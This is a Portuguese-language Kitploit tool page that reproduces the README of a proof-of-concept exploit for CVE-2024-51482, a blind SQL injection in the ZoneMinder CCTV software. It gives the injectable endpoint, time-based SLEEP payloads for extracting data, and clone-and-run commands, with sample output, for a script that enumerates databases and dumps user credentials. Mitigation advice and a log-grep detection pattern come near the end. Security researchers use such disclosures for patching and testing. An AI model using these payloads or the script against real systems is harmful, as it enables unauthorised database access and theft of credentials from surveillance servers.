Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-51482 — ZenoMinder PoC de Injeção SQL Cega | Kitploit
Ferramentas/GitHubGitHub/bridgeralderson/cve-2024-51482
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder PoC de Injeção SQL Cega

Ver Repositório
8há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-51482 - Injeção SQL Cega no ZoneMinder

Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Análise Técnica
  • Guia de Exploração
  • Instalação
  • Exemplos de Uso
  • Mitigação
  • Referências

Visão Geral

A CVE-2024-51482 é uma vulnerabilidade crítica de Injeção SQL cega baseada em booleano descoberta no ZoneMinder, um popular software de vigilância por CCTV de código aberto. Essa falha afeta as versões 1.37.* até 1.37.64 e permite que atacantes autenticados com baixos privilégios executem comandos SQL arbitrários no servidor de banco de dados subjacente.

MétricaValor
ID CVECVE-2024-51482
Pontuação CVSS9.9 (Crítico)
Vetor de AtaqueRede
Privilégios NecessáriosBaixo
Interação do UsuárioNenhum
EscopoAlterado
ImpactoConfidencialidade, Integridade, Disponibilidade - ALTA
Versão Corrigida1.37.65

Detalhes da Vulnerabilidade

Versões Afetadas

  • Vulnerável: ZoneMinder v1.37.0 até v1.37.64.
  • Corrigida: ZoneMinder v1.37.65 e posteriores.

Causa Raiz

A vulnerabilidade existe no arquivo web/ajax/event.php dentro da função removetag. O parâmetro tid (ID da Tag) é concatenado diretamente em uma consulta SQL sem sanitização ou parametrização adequada.

Código Vulnerável:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERÁVEL! 
    $rowCount = dbNumRows($sql); 
    // ...

Código Corrigido:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Consulta parametrizada

Vetor de Ataque

O endpoint vulnerável pode ser acionado via:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[PONTO_DE_INJEÇÃO]

Análise Técnica

Por que Injeção Cega Baseada em Booleano?

O ponto de injeção não retorna resultados da consulta diretamente na resposta, tornando ataques tradicionais baseados em UNION impossíveis. Em vez disso, devemos inferir informações através de condições booleanas ou atrasos de tempo.

  • Abordagem baseada em booleano:
    • Condição verdadeira → Tempo de resposta normal.
    • Condição falsa → Tempo de resposta normal.
    • Requer diferenças observáveis no comportamento da aplicação.
  • Abordagem baseada em tempo (mais confiável):
    • Condição verdadeira → Resposta atrasada (SLEEP).
    • Condição falsa → Tempo de resposta normal.

Mecanismo de Exploração

Nosso exploit usa extração baseada em tempo com a função SLEEP():

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Quando essa condição é avaliada como verdadeira, o banco de dados dorme por 2 segundos, criando um atraso mensurável na resposta HTTP.

Processo de Extração de Caracteres

  • Busca Binária: Para cada posição de caractere, testamos intervalos usando ASCII(SUBSTRING()) > MID.
  • Medição de Tempo: Se a condição for verdadeira, SLEEP é acionado.
  • Reconstrução de Caractere: Construímos a string caractere por caractere.

Exemplo de payload para extrair o caractere na posição 1:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Guia de Exploração

Pré-requisitos

  • Alvo executando ZoneMinder 1.37.0 - 1.37.64.
  • Credenciais válidas (padrão: admin/admin).
  • Acesso de rede à interface web do ZoneMinder.

Instalação

root@kitploit:~
# Clone o repositório
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Torne o script executável
chmod +x CVE-2024-51482.py

# Instale as dependências necessárias
pip3 install requests

Uso Básico

root@kitploit:~
# Teste se o alvo é vulnerável
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --test

# Descubra todos os bancos de dados
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --discover

# Liste tabelas em um banco de dados específico
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --tables zm

# Liste colunas em uma tabela específica
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --columns zm Users

# Despeje dados de colunas específicas
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --dump zm Users "Username,Password"

# Despeje a tabela de usuários (padrão)
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users

# Ative a saída de depuração para processo detalhado de extração
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --debug

# Ajuste o tempo de sleep para extração mais confiável
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --sleep 3

# Desative a saída colorida
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --no-color

Exemplos de Uso

Exemplo 1: Teste de Vulnerabilidade

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!

Exemplo 2: Enumeração de Banco de Dados

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <host-alvo>
[*] Logging in as 'admin' on <host-alvo>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found: 
1. information_schema 
2. performance_schema 
3. zm

Exemplo 3: Despejo de Credenciais de Usuário

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <host-alvo>
[*] Logging in as 'admin' on <host-alvo>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2 
User: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Enabled: 1 
User: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Enabled: 1

Exemplo 4: Extração de Dados Personalizada

root@kitploit:~
# Despeje colunas específicas da tabela Events
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Como o Exploit Funciona

Detalhamento Passo a Passo

  1. Autenticação: O script primeiro autentica-se no ZoneMinder para obter um cookie de sessão válido.
  2. Medição de Linha de Base: Envia 5 requisições normais para estabelecer o tempo médio de resposta.
  3. Confirmação da Vulnerabilidade: Testa com payload SLEEP(2) para verificar se a injeção funciona.
  4. Extração de Caracteres: Para cada posição de caractere, a busca binária determina o valor ASCII:
    • Consulta: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
    • Se condição verdadeira → SLEEP é acionado → Resposta atrasada.
    • Se condição falsa → Resposta imediata.
  5. Reconstrução da String: Caracteres são concatenados para formar strings completas.

Principais Recursos

  • Algoritmo de Busca Binária: Extrai caracteres em log₂(95) ≈ 7 requisições por caractere.
  • Temporização Adaptativa: Calibra automaticamente a linha de base para detecção precisa.
  • Indicador de Progresso: Mostra o progresso da extração em tempo real.
  • Recuperação de Erros: Trata timeouts de conexão adequadamente.
  • Modo de Depuração: Mostra extração detalhada caractere por caractere.

Mitigação

Ações Imediatas

  • Atualize o ZoneMinder para a versão 1.37.65 ou posterior:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • Se a correção não for possível, restrinja o acesso ao script vulnerável:
    root@kitploit:~
    # Configuração Apache 
    Require ip 192.168.0.0/16
    
  • Implemente o princípio do menor privilégio para contas de banco de dados.
  • Monitore logs em busca de tentativas suspeitas de injeção SQL:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

Recomendações de Longo Prazo

  • Use consultas parametrizadas para todas as interações com o banco de dados.
  • Implemente regras de Firewall de Aplicação Web (WAF).
  • Realize auditorias de segurança e testes de penetração regularmente.
  • Mantenha o ZoneMinder e todas as dependências atualizadas.

Referências

  • GitHub Security Advisory - GHSA-qm8h-3xvf-m7j3
  • NVD Entry - CVE-2024-51482
  • Patch Commit
  • CISA Vulnrichment
  • Tenable Nessus Plugin
  • Check Point Advisory

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança. Testar sistemas de computador sem autorização é ilegal. Sempre obtenha a devida autorização antes de testar qualquer sistema.

String do Vetor CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Baixar ferramenta
MétricaValor
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosBaixo
Interação do UsuárioNenhum
EscopoAlterado
ConfidencialidadeAlta
IntegridadeAlta
DisponibilidadeAlta